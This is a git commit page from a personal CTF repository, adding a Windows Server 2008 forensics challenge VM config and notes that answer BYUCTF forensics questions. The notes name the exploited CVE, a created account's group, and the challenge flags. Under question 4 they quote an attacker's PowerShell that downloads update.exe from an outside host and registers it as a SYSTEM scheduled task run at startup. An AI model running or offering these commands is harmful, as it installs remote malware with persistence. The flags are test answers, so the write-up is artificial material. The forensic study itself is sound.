cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

changed repo structure

Browse Source
This commit is contained in:
cato447
2025-06-06 02:50:04 +02:00
parent e887de976a
commit 6e6ee357b8
8848 changed files with 2089898 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
2025/byuctf/forensics/windows/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
byuctf-windows.ova
byuctf-wimdows.ova

2
2025/byuctf/forensics/windows/byuctf-wimdows.mf Normal file
View File

@@ -0,0 +1,2 @@
SHA1 (byuctf-wimdows.ovf) = c72d8f7c54fb08f29396621041c95a35be233838
SHA1 (byuctf-wimdows-disk001.vmdk) = 2efe8bd9352a335640a95a4c8bb89ec358e56fb1

165
2025/byuctf/forensics/windows/byuctf-wimdows.ovf Normal file
View File

@@ -0,0 +1,165 @@
<?xml version="1.0"?>
<Envelope ovf:version="1.0" xml:lang="en-US" xmlns="http://schemas.dmtf.org/ovf/envelope/1" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vbox="http://www.virtualbox.org/ovf/machine">
<References>
<File ovf:id="file1" ovf:href="byuctf-wimdows-disk001.vmdk"/>
</References>
<DiskSection>
<Info>List of the virtual disks used in the package</Info>
<Disk ovf:capacity="64424509440" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" vbox:uuid="b49f63c2-b59c-4015-821d-2996c4b2a25f"/>
</DiskSection>
<NetworkSection>
<Info>Logical networks used in the package</Info>
<Network ovf:name="Bridged">
<Description>Logical network used by this appliance.</Description>
</Network>
</NetworkSection>
<VirtualSystem ovf:id="byuctf-wimdows">
<Info>A virtual machine</Info>
<OperatingSystemSection ovf:id="77">
<Info>The kind of installed guest operating system</Info>
<Description>Windows2008_64</Description>
<vbox:OSType ovf:required="false">Windows2008_64</vbox:OSType>
</OperatingSystemSection>
<VirtualHardwareSection>
<Info>Virtual hardware requirements for a virtual machine</Info>
<System>
<vssd:ElementName>Virtual Hardware Family</vssd:ElementName>
<vssd:InstanceID>0</vssd:InstanceID>
<vssd:VirtualSystemIdentifier>byuctf-wimdows</vssd:VirtualSystemIdentifier>
<vssd:VirtualSystemType>virtualbox-2.2</vssd:VirtualSystemType>
</System>
<Item>
<rasd:Caption>6 virtual CPU</rasd:Caption>
<rasd:Description>Number of virtual CPUs</rasd:Description>
<rasd:ElementName>6 virtual CPU</rasd:ElementName>
<rasd:InstanceID>1</rasd:InstanceID>
<rasd:ResourceType>3</rasd:ResourceType>
<rasd:VirtualQuantity>6</rasd:VirtualQuantity>
</Item>
<Item>
<rasd:AllocationUnits>MegaBytes</rasd:AllocationUnits>
<rasd:Caption>4096 MB of memory</rasd:Caption>
<rasd:Description>Memory Size</rasd:Description>
<rasd:ElementName>4096 MB of memory</rasd:ElementName>
<rasd:InstanceID>2</rasd:InstanceID>
<rasd:ResourceType>4</rasd:ResourceType>
<rasd:VirtualQuantity>4096</rasd:VirtualQuantity>
</Item>
<Item>
<rasd:Address>0</rasd:Address>
<rasd:Caption>ideController0</rasd:Caption>
<rasd:Description>IDE Controller</rasd:Description>
<rasd:ElementName>ideController0</rasd:ElementName>
<rasd:InstanceID>3</rasd:InstanceID>
<rasd:ResourceSubType>PIIX4</rasd:ResourceSubType>
<rasd:ResourceType>5</rasd:ResourceType>
</Item>
<Item>
<rasd:Address>1</rasd:Address>
<rasd:Caption>ideController1</rasd:Caption>
<rasd:Description>IDE Controller</rasd:Description>
<rasd:ElementName>ideController1</rasd:ElementName>
<rasd:InstanceID>4</rasd:InstanceID>
<rasd:ResourceSubType>PIIX4</rasd:ResourceSubType>
<rasd:ResourceType>5</rasd:ResourceType>
</Item>
<Item>
<rasd:AddressOnParent>0</rasd:AddressOnParent>
<rasd:Caption>disk1</rasd:Caption>
<rasd:Description>Disk Image</rasd:Description>
<rasd:ElementName>disk1</rasd:ElementName>
<rasd:HostResource>/disk/vmdisk1</rasd:HostResource>
<rasd:InstanceID>5</rasd:InstanceID>
<rasd:Parent>3</rasd:Parent>
<rasd:ResourceType>17</rasd:ResourceType>
</Item>
<Item>
<rasd:AutomaticAllocation>true</rasd:AutomaticAllocation>
<rasd:Caption>Ethernet adapter on 'Bridged'</rasd:Caption>
<rasd:Connection>Bridged</rasd:Connection>
<rasd:ElementName>Ethernet adapter on 'Bridged'</rasd:ElementName>
<rasd:InstanceID>6</rasd:InstanceID>
<rasd:ResourceSubType>E1000</rasd:ResourceSubType>
<rasd:ResourceType>10</rasd:ResourceType>
</Item>
</VirtualHardwareSection>
<vbox:Machine ovf:required="false" version="1.19-linux" uuid="{52d1133a-56f1-415b-b12d-5ce180565e1a}" name="byuctf-wimdows" OSType="Windows2008_64" snapshotFolder="Snapshots" currentStateModified="false" lastStateChange="2025-05-16T02:13:28Z">
<ovf:Info>Complete VirtualBox machine configuration in VirtualBox format</ovf:Info>
<ExtraData>
<ExtraDataItem name="GUI/LastGuestSizeHint" value="1135,840"/>
<ExtraDataItem name="GUI/LastNormalWindowPosition" value="74,178,908,725"/>
</ExtraData>
<Hardware>
<Memory RAMSize="4096"/>
<Boot>
<Order position="1" device="HardDisk"/>
<Order position="2" device="DVD"/>
<Order position="3" device="None"/>
<Order position="4" device="None"/>
</Boot>
<Display VRAMSize="40"/>
<RemoteDisplay enabled="true">
<VRDEProperties>
<Property name="TCP/Address" value="127.0.0.1"/>
<Property name="TCP/Ports" value="5956"/>
</VRDEProperties>
</RemoteDisplay>
<Firmware/>
<BIOS>
<IOAPIC enabled="true"/>
<SmbiosUuidLittleEndian enabled="true"/>
</BIOS>
<Network>
<Adapter slot="0" enabled="true" type="82540EM">
<DisabledModes>
<NAT localhost-reachable="true"/>
<InternalNetwork name="intnet"/>
<NATNetwork name="NatNetwork"/>
</DisabledModes>
<BridgedInterface name="enp5s0"/>
</Adapter>
</Network>
<AudioAdapter driver="ALSA"/>
<Clipboard/>
<GuestProperties>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxControl.exe" value="6.1.36r152435" timestamp="1747361229673086000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxGuest.sys" value="6.1.36r152435" timestamp="1747361229673905000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxHook.dll" value="6.1.36r152435" timestamp="1747361229673227000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxMRXNP.dll" value="6.1.36r152435" timestamp="1747361229673653000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxMouse.sys" value="6.1.36r152435" timestamp="1747361229674108000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxSF.sys" value="6.1.36r152435" timestamp="1747361229674242000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxService.exe" value="6.1.36r152435" timestamp="1747361229673519000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Components/VBoxTray.exe" value="6.1.36r152435" timestamp="1747361229673431000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/HostVerLastChecked" value="7.1.8" timestamp="1747357611325784000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/InstallDir" value="C:/Program Files/Oracle/VirtualBox Guest Additions" timestamp="1747361229672800000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Revision" value="152435" timestamp="1747361229672751000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/Version" value="6.1.36" timestamp="1747361229672657000" flags=""/>
<GuestProperty name="/VirtualBox/GuestAdd/VersionExt" value="6.1.36" timestamp="1747361229672705000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/Net/0/MAC" value="080027C835B8" timestamp="1747361234672305000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/Net/0/Status" value="Up" timestamp="1747361234672208000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/Net/0/V4/Broadcast" value="255.255.255.255" timestamp="1747361229674582000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/Net/0/V4/IP" value="192.168.1.179" timestamp="1747361229674536000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/Net/0/V4/Netmask" value="255.255.255.0" timestamp="1747361229674629000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/Net/Count" value="1" timestamp="1747361464627882000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/OS/Product" value="Windows 2008 R2" timestamp="1747361229672455000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/OS/Release" value="6.1.7601" timestamp="1747361229672503000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/OS/ServicePack" value="1" timestamp="1747361229672595000" flags=""/>
<GuestProperty name="/VirtualBox/GuestInfo/OS/Version" value="" timestamp="1747361229672550000" flags=""/>
<GuestProperty name="/VirtualBox/HostInfo/GUI/LanguageID" value="en_US" timestamp="1747361469480894000" flags="RDONLYGUEST"/>
</GuestProperties>
<StorageControllers>
<StorageController name="IDE Controller" type="PIIX4" PortCount="2" useHostIOCache="true" Bootable="true">
<AttachedDevice type="HardDisk" hotpluggable="false" port="0" device="0">
<Image uuid="{b49f63c2-b59c-4015-821d-2996c4b2a25f}"/>
</AttachedDevice>
</StorageController>
</StorageControllers>
<CPU count="6">
<HardwareVirtExLargePages enabled="true"/>
<PAE enabled="true"/>
<LongMode enabled="true"/>
</CPU>
</Hardware>
</vbox:Machine>
</VirtualSystem>
</Envelope>

36
2025/byuctf/forensics/windows/notes.md Normal file
View File

@@ -0,0 +1,36 @@
## Forensic Investigation Windows Server 2008
### Setup
Download .ova file.
Since m1 can't run x86 ova files on virtualbox extract files from .ova file with `tar -xvf <file>.ova`
Convert drive to qcow2
Reference: https://www.xmodulo.com/convert-ova-to-qcow2-linux.html
Run qemu with: `qemu-system-x86_64 -boot menu=on -m 4G -vga virtio -display cocoa <file>.qcow2`
## Questions:
### 1. What CVE did the attacker exploit to get a shell on the machine? Wrap your answer in byuctf{}. E.g. byuctf{CVE-2021-38759} Hint: Figure out what process the attacker exploited and look up vulnerabilities associated with it.
When opening sysmon logs a powershell process opens from elasticsearch. This was supspicous. The most likely exploit is one with a public CVE
byuctf{CVE-2014-3120}
### 2. Once they got in, the attacker ran some commands on the machine, but it looks like they tried to hide what they were doing. See if you can find anything interesting there
### 3. The attacker also created a new account what group did they add this account to?
According to https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-user-account-management User Account creation has the Id 4720.
Opening Event Viewer and filtering for 4720 yields: 5/15/2025 7:08:28 pm User account **phasma** was created
To get the groups we have to look at Event 4732 https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732
This yields two entries from 5/15/2025:
- BUILTIN\Users
- BUILTIN\Remote Desktop Users
=> Flag: byuctf{Remote Desktop Users}
### 4. Using their access, the attacker also deployed a C2 binary on the machine - what C2 framework was it, and what IP address was the C2 attempting to connect to?
$BINARY='C:\Windows\System32\update.exe;
$ProgressPreference = 'SilentlyContinue';
Invoke-webrequest -Uri "http://192.168.1.107:8000/update.exe" -OutFile $Binary ;
schtasks /create /tn "updates" /tr $BINARY /ru 'SYSTEM' /sc onstart /rl highest ;
schtasks /run /tn "updates"
### 5. Last but not least, the attacker put another backdoor in the machine to give themself SYSTEM privileges... what was it?

BIN
2025/byuctf/forensics/windows/shared/update.exe Normal file
View File

Binary file not shown.